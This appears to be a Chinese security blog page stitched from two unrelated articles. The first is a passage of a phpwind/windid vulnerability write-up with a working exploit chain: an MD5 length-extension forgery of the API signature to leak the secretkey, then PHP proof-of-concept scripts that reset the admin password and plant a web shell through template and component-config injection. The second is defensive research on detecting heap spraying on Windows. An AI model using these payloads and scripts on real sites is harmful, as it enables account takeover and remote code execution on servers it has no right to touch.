<param name="FlashVars" value="postAction=ra_postAction&redirectURL=/&requestURL=http%3A%2F%2F127.0.0.1%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D2%26windidkey%3D743fdf975fc5f1ad123ed308f4a73588%26time%3D1463713559%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2F127.0.0.1%2Fwindid%2Fattachment%2F%2Favatar%2F000%2F00%2F00%2F2.jpg%3Fr%3D38651"/>

5

http://127.0.0.1/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=743fdf975fc5f1ad123ed308f4a73588&time=1463713559&clientid=1&type=flash

其中 $array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’,
‘Filename’, ‘Upload’, ‘token’, ‘__data’);
不加入签名
POST只有 array(‘uid’=>’undefined’)

windidkey = md5( 32位md5 + 1463713559 + adoAvatarcavatarmapitypeflashuid2uidundefined ) == 743fdf975fc5f1ad123ed308f4a73588

那么我们利用的目标是改变参数 c 和 a ,从而达到调用API中其它方法的目的。
问题来了

  $array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
        'Filename', 'Upload', 'token', '__data');
  $str = '';
  ksort($get);
  ksort($post);
  foreach ($get AS $k=>$v) {
   if (in_array($k, $array)) continue;
   $str .=$k.$v;
  }
  foreach ($post AS $k=>$v) {
   if (in_array($k, $array)) continue;
   $str .=$k.$v;
        }

windidkey签名是输入参数的排序,a必定是排在前面,并且如何改变m、c、a的值,使得前面部分加密效果一致呢?
我们再看看 $str 是 $k + $v ,组成的 adoAvatarcavatarmapitypeflashuid2uidundefined
那么,我们是不是可以直接输入 adoAvatarcavatarmapitypeflashuid=2uidundefined,这样的参数,而不影响加密结果呢?
参数排序也是一个严重的问题,如果可以把我们注入的内容放在后面,那么就好办多了。
POST参数永远在后面,于是我想了想,m、c、a是否也是可以接受POST的值呢。

/**
  * 默认路由处理
  */
 public function defaultRoute() {
  $this->action = $this->request->getRequest($this->actionKey, $this->_action);
  $this->controller = $this->request->getRequest($this->controllerKey, $this->_controller);
  $this->module = $this->request->getRequest($this->moduleKey, $this->_module);
 }

 public function getRequest($key = null, $defaultValue = null) {
  if (!$key) return array_merge($_POST, $_GET);
  if (isset($_GET[$key])) return $_GET[$key];
  if (isset($_POST[$key])) return $_POST[$key];
  return $defaultValue;
 }

好了,万事俱备了。

0x05 漏洞利用

分析到这里,容我刷新一下key,因为超时了。
新链接为:
http://127.0.0.1/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=21bd66932ce99a763e3e8862c7ce7300&time=1463715092&clientid=1&type=flash

adoAvatarcavatarmapitypeflashuid2uidundefined

md5( 32位 + strlen(1463715092) + strlen(adoAvatarcavatarmapitypeflashuid2uidundefined) ) = 21bd66932ce99a763e3e8862c7ce7300

strlen( 32位 + strlen(1463715092) + strlen(adoAvatarcavatarmapitypeflashuid2uidundefined) ) == 87

例如我们要调用的方法为:m=api&c=app&a=list,经过参数处理,即为:alistcappmapi
拿出 md5 padding 神器

6

Payload: ‘\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x00\x00\x00alistcappmapi’
Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%02%00%00%00%00%00%00alistcappmapi
MD5 after padding: a652e10c436dfd00815d552afa6ad1c5

URL:
http://127.0.0.1/windid/index.php?adoAvatarcavatarmapitypeflashuid=&windidkey=a652e10c436dfd00815d552afa6ad1c5&time=1463715092&clientid=1

POST
2uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%02%00%00%00%00%00%00&m=api&c=app&a=list

7

从而获得 “secretkey”:”265c8be71570f96265e467c41784bace”

0x06 从secretkey到命令执行

在乌云提交的报告中,我对GetShell是轻描淡写的,一个简单的XSS,CSRF也是可以GetShell呢。更何况是可以控制用户(包括前台管理员),和大部分的配置了。下面我就简单提两种直接GetShell方式。

第一种,是我简单提到的http://www.wooyun.org/bugs/wooyun-2016-0175518(官方认为是正常功能)其实不用登陆后台,前台也是能直接利用的。不过方式比较暴力,不是太推荐

首先直接修改管理员密码

<?php
$secretkey = ‘secretkey’;
$c = ‘User’;
$a = ‘editUser’;
$data = array(‘uid’=>’1′,’password’=>’admin’ );
$time = time();
$key = appKey(‘1’, time(), $secretkey, array(‘m’=>’api’,’c’=> $c,’a’=>$a), $data);

echo post(‘http://127.0.0.1/windid/index.php?m=api&c=’.$c.’&a=’.$a.’&windidkey=’.$key.’&time=’.$time .’&clientid=1′,$data).”\r\n”;

function post($uri,$data) {
$data = http_build_query($data);
$opts = array(
‘http’=>array(
‘method’=>”POST”,
‘header’=>”Content-type: application/x-www-form-urlencoded\r\n”.
“Content-length:”.strlen($data).”\r\n” .
“\r\n”,
‘content’ => $data,
)
);
$cxContext = stream_context_create($opts);
$sFile = file_get_contents($uri, false, $cxContext);
return $sFile ;
}

function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’, ‘Filename’, ‘Upload’, ‘token’);
$str = ”;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.’||’.$secretkey).$time.$str);
}

修改完后登陆,创建自定义模板

http://127.0.0.1/index.php?m=design&c=property&a=doadd

post

csrf_token=18c1f2c2e7fe6095&model=html&module_name=test&property[html]=<?php phpinfo();?>&pageid=1

注:csrf_token 请在查看源码中找。

7

http://127.0.0.1/index.php?m=design&c=design&a=modulecsrf_token=bd2e04d468ec5f70&moduleid=3

8

这里的moduleid是动态的,也就是添加后的总数,默认情况是3,一般系统也不会添加太多,遍列一下就行。

第二种GetShell方式还是比较有意思的。

前面说到,API接口可以更改一些配置信息。

在入口类中src\wekit.php

�0�2�0�2�0�2 public static function run($name = ‘phpwind’, $components = array()) {
self::init($name);
if (!empty($components)) self::$_sc[‘components’] = (array)$components + self::$_sc[‘components’];

/* @var $application WindWebFrontController */
$application = Wind::application($name, self::$_sc);
$application->registeFilter(new PwFrontFilters($application));
$application->run();
}

跟进PwFrontFilters

�0�2�0�2�0�2 public function onCreate() {
Wekit::createapp(Wind::getAppName());

$_debug = Wekit::C(‘site’, ‘debug’);
if ($_debug == !Wind::$isDebug) Wind::$isDebug = $_debug;
error_reporting($_debug ? E_ALL ^ E_NOTICE ^ E_DEPRECATED : E_ERROR | E_PARSE);
set_error_handler(array($this->front, ‘_errorHandle’), error_reporting());

$this->_convertCharsetForAjax();

if ($components = Wekit::C(‘components’)) {
Wind::getApp()->getFactory()->loadClassDefinitions($components);
}
}

可以看到,系统初始化时会加载配置表中pw_windid_config的components组件配置,配置中是用来定义类的路径、默认参数、初始化时的方法等。即我们可以控制系统加载的类路径和初始化的一些东东,由于代码太多,我只贴出关键部分,再来跟进

\wind\base\WindFactory.php

�0�2�0�2�0�2 public function getInstance($alias, $args = array()) {
$instance = null;
$definition = isset($this->classDefinitions[$alias]) ? $this->classDefinitions[$alias] : array();
if (isset($this->prototype[$alias])) {
$instance = clone $this->prototype[$alias];
if (isset($definition[‘destroy’])) $this->destories[] = array($instance, $definition[‘destroy’]);
} elseif (isset($this->instances[$alias])) {
$instance = $this->instances[$alias];
} elseif (isset($this->singleton[$alias])) {
$instance = $this->singleton[$alias];
} else {
if (!$definition) return null;
$_unscope = empty($args);
if (isset($definition[‘constructor-args’]) && $_unscope) $this->buildArgs($definition[‘constructor-args’],
$args);
if (!isset($definition[‘className’])) $definition[‘className’] = Wind::import(@$definition[‘path’]);
$instance = $this->createInstance($definition[‘className’], $args);
if (isset($definition[‘config’])) $this->resolveConfig($definition[‘config’], $alias, $instance);
if (isset($definition[‘properties’])) $this->buildProperties($definition[‘properties’], $instance);
if (isset($definition[‘initMethod’])) $this->executeInitMethod($definition[‘initMethod’], $instance);
!isset($definition[‘scope’]) && $definition[‘scope’] = ‘application’;
$_unscope && $this->setScope($alias, $definition[‘scope’], $instance);
if (isset($definition[‘destroy’])) $this->destories[$alias] = array($instance, $definition[‘destroy’]);
}
if (isset($definition[‘proxy’])) {
$listeners = isset($definition[‘listeners’]) ? $definition[‘listeners’] : array();
$instance = $this->setProxyForClass($definition[‘proxy’], $listeners, $instance);
}
return $instance;
}

这个类就是主要来加载表中pw_windid_config components的定义及创建实例是的一些默认配置。有意思的是,这里还是比较多的限制,有几种方式,最简单的就是更改$definition[‘path’],造成文件包含,但这里涉及到php截断的问题(系统默认是.php后辍),简单而不通用。

另外的方法就是在系统中找可以利用的类,限制条件是初始化是可以传默认参数,可以有set方法设置单一属性,可以调用任意方法,但不能传参。哈,有兴趣的同学可以自己研究一下。于是在系统中找吧,找能利用的类。

我提出两个类,大家可以研究下

/wind/mail/sender/WindSendMail.php

src\library\engine\extension\cache\PwFileCache.php

详细不说了,POC如下

<?php
$secretkey = ‘265c8be71570f96265e467c41784bace’;
$c = ‘config’;
$a = ‘setconfig’;

$data = array(‘namespace’=>’components’,’key’=>’windView’,’value’=> array(‘path’=>’SRC:library.engine.extension.cache.PwFileCache’,’initMethod’=>’get’,’properties’=>array(‘delay’=>’false’,’Config’=>array(‘value’=>array(‘security-code’=>’../../attachment/1605/thread/2_1_1542e6411847d69′) ))) );

$time = time();
$key = appKey(‘1’, time(), $secretkey, array(‘m’=>’api’,’c’=> $c,’a’=>$a), $data);

echo post(‘http://127.0.0.1/windid/index.php?m=api&c=’.$c.’&a=’.$a.’&windidkey=’.$key.’&time=’.$time .’&clientid=1′,$data).”\r\n”;

function post($uri,$data) {
$data = http_build_query($data);
$opts = array(
‘http’=>array(
‘method’=>”POST”,
‘header’=>”Content-type: application/x-www-form-urlencoded\r\n”.
“Content-length:”.strlen($data).”\r\n” .
“\r\n”,
‘content’ => $data,
)
);
$cxContext = stream_context_create($opts);
$sFile = file_get_contents($uri, false, $cxContext);
return $sFile ;
}

function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’, ‘Filename’, ‘Upload’, ‘token’);
$str = ”;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.’||’.$secretkey).$time.$str);
}

?>

security-code 就是上传的txt附件,路径怎么得到?请查看源码。

执行poc后,再请求

http://127.0.0.1/windid/index.php,就是shell了(其它页面应该也是可以)

9

说得有点多了,不过总体起来,这还是一个比较有意思的漏洞。

Windows下堆喷射检查及漏报误报研究

作为漏洞利用的重要方式,堆喷射技术自诞生以来就受到广泛的关注,相关攻击与防范研究也层出不穷。我们注意到,尽管距技术提出已逾十年,但在最近的IE、PDF、Office等利用中仍可找到堆喷射的踪迹,因此仍有必要对堆喷射行为的检测及相关漏报误报原因进行深入的讨论。

堆喷射的作用是构造一个漏洞利用的上下文,在内存中形成特定重复单元,以期望后续的漏洞利用能够以较大的概率契合到精心控制的内存地址及内容。狭义上的堆喷射有着以下三个特点:短时间内申请大量内存页面;每个单元内存大小相等或者相似;各单元内存具有相似性。所以对于堆喷射的检查,一般而言是选定一个时间段,如果其间内存分配存在异常,且相邻内存具有重复性,则判定有堆喷射的行为。这个过程中,每一步判定都有一个阈值,用以控制检测的准确度,这些阈值还需要通过基于样本的训练来调整,以达到减少误报和漏报的目的。实现过程中,为了减少误报的概率,通常会采用更为严格的约束,例如检测固定大小的内存块,检测调用栈的回溯情况等。我们在进行了长时间的实验后发现,由于现实情况的多样性,有些理论上的方法实际效果并不明显,相反,利用简单但约束较强的启发式方法反而有着较高的检测效率。

判定堆喷射的一个理想情况是检测相同或相似大小堆的内容是否相似。而实际情况是,堆分配与内存赋值通常有时间差,如果以hook方式挂钩堆分配的函数,内存赋值尚未发生,其检测时间点过早,而挂钩堆销毁函数的检测则过晚,因为内存内容可能已经发生变化。如果抛开hook机制而采用定时触发扫描内存的方法,检测频率过高则影响效率,频率过低则影响检测率,二者难以折中。此外,由于DEP的广泛存在,大部分利用都是以RoP的方式,这一特性使得精确的堆喷射成为必要,结果是堆内存实际上仅小部分内容段存在意义,大部分的无关内容可以随机化以干扰对堆喷射的检测。所以,对于堆喷射检测而言,内容检测更多情况下仅扮演一个参考的角色,而不能够作为断言的一个必要条件。

对于堆检测而言,有效且实用的方法只能是在分配时进行检测,加上全局内存分配情况作为辅助。以Windows为例,最有效的方法是挂钩RtlAllocateHeap和VirtualAllocEx等函数。这里,前者对所有使用Windows标准堆管理的上下文有效,而后者则适用于一些有着自主堆管理的模块,例如Flash等。检测中结合堆喷射的特性,通过比较函数返回的堆地址,检测在短时间内是否有连续的内存分配,在达到一个阈值后,调用GetProcessMemoryInfo比较进程使用的内存大小,通常能有效地检测到堆喷射。在这之后,还可以进一步利用挂钩VirtualProtectEx函数来判断是否有RoP行为,同时区分正常的JIT和恶意的Exploit的情况。

为了避免频繁介入正常的堆分配操作以提高检测效率,对堆操作的返回结果需要过滤噪声。我们经过了大量的实验后发现,小于0x40000字节的堆分配不能在短时间内保证返回地址的对齐,所以通常不会被用于堆喷射中。此外,尽管超过这一数值的堆分配理论上都应该成为分析的候选,但大于0x400000的内存分配几乎不见于已知的堆喷射情况中,因此也可以作为噪声予以过滤。值得注意的是,在检测分配堆的大小上,上下限确立后,不应对分配堆的大小再做任何假设,我们以一漏报为例。

通常情况下为了保证利用的成功率,堆喷射除了尽量覆盖更多的地址外,还应该保证相邻堆的致密性,即,相邻分配的内存中间不应该有随机内容产生。这一目标通常通过连续分配和分配对齐的堆来实现,前者保证无其它操作影响待分配的堆,后一个保证页面无随机内容填充。由于内存页面大小固定,加之每一堆内存存在一个管理结构,致密的堆分配应该是略小于页面整数倍的请求,函数hook的记录内容类似于:

Function=RtlAllocateHeap,Handle=0x00150000,Size=0x0007ff00,Ret=0x03280020
Function=RtlAllocateHeap,Handle=0x00150000,Size=0x0007ff00,Ret=0x03300020

这样,两个返回地址之间的距离为0x80000,实际可以控制内容的大小是0x7ff00字节,页面最后0x100-0x20=0xE0字节虽属于随机填充内容,但这部分地位地址总是0xff20开头,漏洞利用代码可以避开这类地址的使用,所以对于利用的成功率几乎没有影响。

但是这个条件仅在理想利用中存在,用这个条件进行过滤,反而会遗漏一些低质量的利用,例如Metasploit等。事实上,Metasploit的堆喷射会产生类似于如下的记录:

Function=RtlAllocateHeap,Handle=0x00150000,Size=0x00080000,Ret=0x04b00020
Function=RtlAllocateHeap,Handle=0x00150000,Size=0x00080000,Ret=0x04b90020

显然Metasploit没有考虑堆管理结构的影响,直接分配了0x80000大小的内存来进行堆喷射。以此记录为例,攻击者试图分配0x80000字节,但实际需要0x80020字节,由于堆页面大小(0x10000字节)的对齐影响,相邻两个堆间隔为0x90000字节,而能够精确控制的仅有0x80000字节,剩下约0x10000字节被系统随机填充,在连续分配的放大效应后,必然会有约13%的内存无法控制,且此类不可控内容的地址横跨整个页面,无论利用代码如何选取低16位均会影响利用的成功率。这个例子可以看到,如果堆喷射的检测总是假设攻击者拥有良好的内存分配知识,从而加强检测条件,必然会在这里形成漏报。

堆大小检测的另外一个误报例子来源于页面的刷新。当页面需要实时更新时,浏览器通常会从服务端获取新数据来替换或追加页面内容,如果服务端返回的数据结构固定且大小刚好满足条件,宏观上也会产生类似于堆喷射的行为。例如页面需要频繁获取js文件或者json数据,浏览均需要反复分配内存以解析运行脚本,短时间内会形成大量的内存分配操作,且此类操作不易与正常的堆喷射行为进行区分。作为检测的有益补充,回溯调用栈可以有效缓解这一问题,例如在检测结果上过滤掉常见的系统正常操作,包含来自JSON部分的内存申请、来自xmllite的大内存申请,对表格或多选框的子项进行反复操作等。这一类调用对于某一版本或者类型的上下文是固定的,所以有必要形成一个相应的调用栈回溯白名单,以降低误报的概率。

在非浏览器的环境中,偶尔可见一些堆喷射情况,总体而言,上述思路可以检测到绝大部分的堆喷射行为,但具体的参数,例如分配内存大小的上下限等,还需要一定调整。我们以大量PDF、Office样本进行了测试和训练,发现误报漏报的情况几乎没有,但相关参数却与在浏览器下的经验数据有所差异,需要从新训练。此外,非浏览器的环境中,另一个主要问题是一些利用需要用户交互才能触发,因此,模拟用户操作反而成为减少漏报率的一个关键因素。我们在这一问题上也进行了部分的研究,并将交互行为应用到浏览器检测上,由于篇幅限制,这里不再一一展开。

漏洞利用中还有两类情况,其行为上可以归于堆喷射,即JIT喷射和小堆连续分配占位,两者皆可采用相同的思路进行检测。第一类JIT喷射涉及到大量内存分配,检测条件较为严格,可以通过栈回溯来精确检测。实战中上此类样本极少,影响的软件版本有限,这部分不必要对未知情况进行过多的处理和讨论。第二类情况则非常复杂,一般而言,小堆连续分配包括对UAF漏洞进行占位、对越界读写漏洞进行环境准备等。从宏观上看,这类行为对整体内存分配情况影响甚微,微观而言,小堆连续分配是常见且合理的操作,所以检测的粒度无论大小,均无法将其与正常的操作予以区分。因此,我们在实际中采用了特定栈回溯匹配法来进行启发式检测,对一些不常见的对象,例如Dictionary,Vector等的构造与析构函数进行Hook,设定时间与触发次数的阈值,结合返回地址和堆标记进行判断。这种方法的好处在于能够有效地减少误报率,比如购物网站包含的大表格列表页面等,但我们依然发现存在少量对使用这些不常见元素网页的误报行为。对于这一类误报,目前只能从其它因素上对站点进行判断,而无法基于文中所述方法对具体页面给出一个严格准确的断言。

对于Flash而言,目前的情况则较为简单,我们在分析了尽可能多的样本后发现,flash的漏洞利用样本有两个明显特征:第一是一定存在小内存对象的反复分配,第二是flash文件结构较为简单。所以利用栈回溯来匹配,误报率已经非常低,再以flash文件结构,或者AS3 LoadBytes函数内存解压后的文件结构进行参考,误报率和漏报率都可以达到几乎为零的程度。如果考虑支持不同版本flash下的检测,为了避免分析不同版本并设定相应Hook地址带来的巨大工作量,还有一个近似的方法可以获得类似的效果。我们知道,flash有着自己的堆管理模块,小于一定大小的堆均由flash自行管理,但是,flash需要维护这些小堆的管理结构,这部分内存属于windows自己的内存分配。在大量申请小堆对象的时候,管理结构的数量会暴增,从而导致这部分管理堆的大小不够,迫使flash本身从windows堆管理中去申请更大的内存。从函数调用记录上看,这里的特征是,短时间内向RtlAllocateHeap多次要求内存,每次内存大小是上一次的两倍,且调用的回溯栈具有类似结构。针对这三个特点进行flash漏洞利用检测,其效率更高,且准确度与前一个方法几乎不相上下。